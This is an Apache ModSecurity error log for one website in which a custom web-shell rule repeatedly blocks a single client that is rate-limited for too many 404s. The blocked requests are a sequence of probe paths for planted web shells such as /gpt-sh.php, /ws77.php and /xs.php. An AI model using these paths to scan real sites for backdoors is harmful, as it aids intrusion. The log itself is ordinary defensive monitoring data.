[Wed Apr 01 22:06:09.620521 2026] [:error] [pid 17856:tid 17870] [client 20.91.245.108:5172] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac0mUT7Idlm5j9frhqReJQAAAEw"]
[Wed Apr 01 22:06:10.908610 2026] [:error] [pid 62559:tid 62574] [client 20.91.245.108:8589] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac0mUi7NKI8IaNKZFIez7AAAAU0"]
[Wed Apr 01 22:06:12.203959 2026] [:error] [pid 17856:tid 17864] [client 20.91.245.108:15865] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac0mVD7Idlm5j9frhqReMAAAAEY"]
[Wed Apr 01 22:06:13.114388 2026] [:error] [pid 17856:tid 17872] [client 20.91.245.108:27619] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "ac0mVT7Idlm5j9frhqReNgAAAE4"]
[Wed Apr 01 22:06:13.951648 2026] [:error] [pid 8909:tid 8945] [client 20.91.245.108:21907] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "ac0mVTvP_a0662gDl6DtPwAAAMQ"]
[Wed Apr 01 22:06:16.063505 2026] [:error] [pid 8908:tid 8935] [client 20.91.245.108:25010] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "ac0mWPkmxtJXGnLdvgCjQwAAAJY"]
[Wed Apr 01 22:06:16.715587 2026] [:error] [pid 17856:tid 17882] [client 20.91.245.108:26856] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "ac0mWD7Idlm5j9frhqReUQAAAFg"]
[Wed Apr 01 22:06:17.582304 2026] [:error] [pid 17856:tid 17868] [client 20.91.245.108:5665] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "ac0mWT7Idlm5j9frhqReVAAAAEo"]
[Wed Apr 01 22:06:18.751989 2026] [:error] [pid 62559:tid 62574] [client 20.91.245.108:28815] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "ac0mWi7NKI8IaNKZFIez-QAAAU0"]
[Wed Apr 01 22:06:20.007983 2026] [:error] [pid 62559:tid 62577] [client 20.91.245.108:23273] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "ac0mXC7NKI8IaNKZFIez_AAAAVA"]
[Wed Apr 01 22:06:21.017691 2026] [:error] [pid 62559:tid 62563] [client 20.91.245.108:25242] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "ac0mXS7NKI8IaNKZFIez_QAAAUI"]
[Wed Apr 01 22:06:23.318722 2026] [:error] [pid 17856:tid 17882] [client 20.91.245.108:24974] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "ac0mXz7Idlm5j9frhqReYgAAAFg"]
[Wed Apr 01 22:06:24.087695 2026] [:error] [pid 8908:tid 8915] [client 20.91.245.108:5326] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "ac0mYPkmxtJXGnLdvgCjUQAAAII"]
[Wed Apr 01 22:06:24.818825 2026] [:error] [pid 8910:tid 8988] [client 20.91.245.108:28829] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "ac0mYKJZINUcF3tYgExwWAAAARQ"]
[Wed Apr 01 22:06:26.692399 2026] [:error] [pid 17856:tid 17861] [client 20.91.245.108:8620] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eee.php"] [unique_id "ac0mYj7Idlm5j9frhqRecAAAAEM"]
[Wed Apr 01 22:06:28.832306 2026] [:error] [pid 8910:tid 8990] [client 20.91.245.108:5133] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "ac0mZKJZINUcF3tYgExwWwAAARY"]
[Wed Apr 01 22:06:30.269173 2026] [:error] [pid 62559:tid 62570] [client 20.91.245.108:23260] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "ac0mZi7NKI8IaNKZFIe0DwAAAUk"]
[Wed Apr 01 22:06:31.163113 2026] [:error] [pid 8909:tid 8954] [client 20.91.245.108:5130] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "ac0mZzvP_a0662gDl6DteQAAAM0"]
[Wed Apr 01 22:06:33.599824 2026] [:error] [pid 8908:tid 8920] [client 20.91.245.108:30128] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "ac0mafkmxtJXGnLdvgCjZwAAAIc"]
[Wed Apr 01 22:06:34.511469 2026] [:error] [pid 62559:tid 62567] [client 20.91.245.108:24977] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0mai7NKI8IaNKZFIe0GAAAAUY"]
[Wed Apr 01 22:06:35.272294 2026] [:error] [pid 62559:tid 62562] [client 20.91.245.108:20016] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0may7NKI8IaNKZFIe0HgAAAUE"]
[Wed Apr 01 22:06:36.532648 2026] [:error] [pid 8908:tid 8918] [client 20.91.245.108:5646] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0mbPkmxtJXGnLdvgCjbgAAAIU"]
[Wed Apr 01 22:06:38.047494 2026] [:error] [pid 8908:tid 8921] [client 20.91.245.108:14986] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "ac0mbvkmxtJXGnLdvgCjdAAAAIg"]
[Wed Apr 01 22:06:38.829986 2026] [:error] [pid 8910:tid 8973] [client 20.91.245.108:8577] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "ac0mbqJZINUcF3tYgExwZgAAAQU"]
[Wed Apr 01 22:06:39.542976 2026] [:error] [pid 8908:tid 8914] [client 20.91.245.108:8632] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "ac0mb_kmxtJXGnLdvgCjdQAAAIE"]
[Wed Apr 01 22:06:40.248708 2026] [:error] [pid 8995:tid 9003] [client 20.91.245.108:15826] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "ac0mcOonaBjs3qxcRefbLAAAAAU"]
[Wed Apr 01 22:06:41.155978 2026] [:error] [pid 8909:tid 8953] [client 20.91.245.108:28852] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws77.php"] [unique_id "ac0mcTvP_a0662gDl6DtoAAAAMw"]
[Wed Apr 01 22:06:42.187118 2026] [:error] [pid 8909:tid 8942] [client 20.91.245.108:14977] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "ac0mcjvP_a0662gDl6DtpAAAAME"]
[Wed Apr 01 22:06:42.813265 2026] [:error] [pid 8910:tid 8977] [client 20.91.245.108:25267] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "ac0mcqJZINUcF3tYgExwcAAAAQk"]
[Wed Apr 01 22:06:43.831706 2026] [:error] [pid 8909:tid 8961] [client 20.91.245.108:25822] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "ac0mczvP_a0662gDl6DtqQAAANQ"]
[Wed Apr 01 22:06:44.987389 2026] [:error] [pid 8909:tid 8963] [client 20.91.245.108:15857] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gpt-sh.php"] [unique_id "ac0mdDvP_a0662gDl6DtrAAAANY"]
[Wed Apr 01 22:06:45.651633 2026] [:error] [pid 8909:tid 8960] [client 20.91.245.108:19997] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "ac0mdTvP_a0662gDl6DtrgAAANM"]
[Wed Apr 01 22:06:46.388695 2026] [:error] [pid 62559:tid 62579] [client 20.91.245.108:23291] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "ac0mdi7NKI8IaNKZFIe0MwAAAVI"]
[Wed Apr 01 22:06:56.513589 2026] [:error] [pid 8908:tid 8931] [client 20.91.245.108:28804] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "ac0mgPkmxtJXGnLdvgCjqQAAAJI"]
[Wed Apr 01 22:06:58.281843 2026] [:error] [pid 8909:tid 8954] [client 20.91.245.108:25841] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "ac0mgjvP_a0662gDl6Dt0wAAAM0"]
[Wed Apr 01 22:06:59.664601 2026] [:error] [pid 8909:tid 8965] [client 20.91.245.108:5664] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "ac0mgzvP_a0662gDl6Dt3wAAANg"]
[Wed Apr 01 22:07:02.942953 2026] [:error] [pid 17856:tid 17860] [client 20.91.245.108:5399] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "ac0mhj7Idlm5j9frhqRe2QAAAEI"]
[Wed Apr 01 22:07:03.790623 2026] [:error] [pid 17856:tid 17870] [client 20.91.245.108:19831] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "ac0mhz7Idlm5j9frhqRe3gAAAEw"]
[Wed Apr 01 22:07:05.593742 2026] [:error] [pid 8909:tid 8949] [client 20.91.245.108:20012] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "ac0miTvP_a0662gDl6DuCQAAAMg"]
[Wed Apr 01 22:07:07.253014 2026] [:error] [pid 8910:tid 8971] [client 20.91.245.108:23247] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "ac0mi6JZINUcF3tYgExwggAAAQM"]
[Wed Apr 01 22:07:09.044493 2026] [:error] [pid 8995:tid 9014] [client 20.91.245.108:29922] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "ac0mjeonaBjs3qxcRefbRQAAABA"]
[Wed Apr 01 22:07:10.620536 2026] [:error] [pid 17856:tid 17865] [client 20.91.245.108:15009] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "ac0mjj7Idlm5j9frhqRe8wAAAEc"]
[Wed Apr 01 22:07:11.651006 2026] [:error] [pid 17856:tid 17867] [client 20.91.245.108:32425] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "ac0mjz7Idlm5j9frhqRfCgAAAEk"]
[Wed Apr 01 22:07:12.645923 2026] [:error] [pid 8908:tid 8932] [client 20.91.245.108:15015] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "ac0mkPkmxtJXGnLdvgCjwgAAAJM"]
[Wed Apr 01 22:07:13.575200 2026] [:error] [pid 8908:tid 8937] [client 20.91.245.108:29928] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uang.php"] [unique_id "ac0mkfkmxtJXGnLdvgCjxwAAAJg"]
[Wed Apr 01 22:07:14.671906 2026] [:error] [pid 17856:tid 17867] [client 20.91.245.108:15031] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "ac0mkj7Idlm5j9frhqRfHQAAAEk"]
[Wed Apr 01 22:07:15.399692 2026] [:error] [pid 62559:tid 62585] [client 20.91.245.108:28843] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "ac0mky7NKI8IaNKZFIe0dwAAAVg"]
[Wed Apr 01 22:07:16.222780 2026] [:error] [pid 62559:tid 62562] [client 20.91.245.108:19515] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "ac0mlC7NKI8IaNKZFIe0eAAAAUE"]
[Wed Apr 01 22:07:17.022805 2026] [:error] [pid 8908:tid 8915] [client 20.91.245.108:21946] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/save.php"] [unique_id "ac0mlfkmxtJXGnLdvgCj1QAAAII"]
[Wed Apr 01 22:07:18.105726 2026] [:error] [pid 8995:tid 9020] [client 20.91.245.108:23683] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac0mluonaBjs3qxcRefbXQAAABY"]
[Wed Apr 01 22:07:19.268006 2026] [:error] [pid 17856:tid 17880] [client 20.91.245.108:29949] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac0mlz7Idlm5j9frhqRfJwAAAFY"]
[Wed Apr 01 22:07:20.623320 2026] [:error] [pid 8908:tid 8928] [client 20.91.245.108:5379] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac0mmPkmxtJXGnLdvgCj5QAAAI8"]
[Wed Apr 01 22:07:21.288176 2026] [:error] [pid 8908:tid 8931] [client 20.91.245.108:5437] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "ac0mmfkmxtJXGnLdvgCj6wAAAJI"]
[Wed Apr 01 22:07:22.287713 2026] [:error] [pid 8910:tid 8988] [client 20.91.245.108:5179] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "ac0mmqJZINUcF3tYgExwnAAAARQ"]
[Wed Apr 01 22:07:23.600180 2026] [:error] [pid 8909:tid 8959] [client 20.91.245.108:23278] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "ac0mmzvP_a0662gDl6DuJgAAANI"]
[Wed Apr 01 22:07:25.718242 2026] [:error] [pid 62559:tid 62582] [client 20.91.245.108:29925] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xs.php"] [unique_id "ac0mnS7NKI8IaNKZFIe0kAAAAVU"]
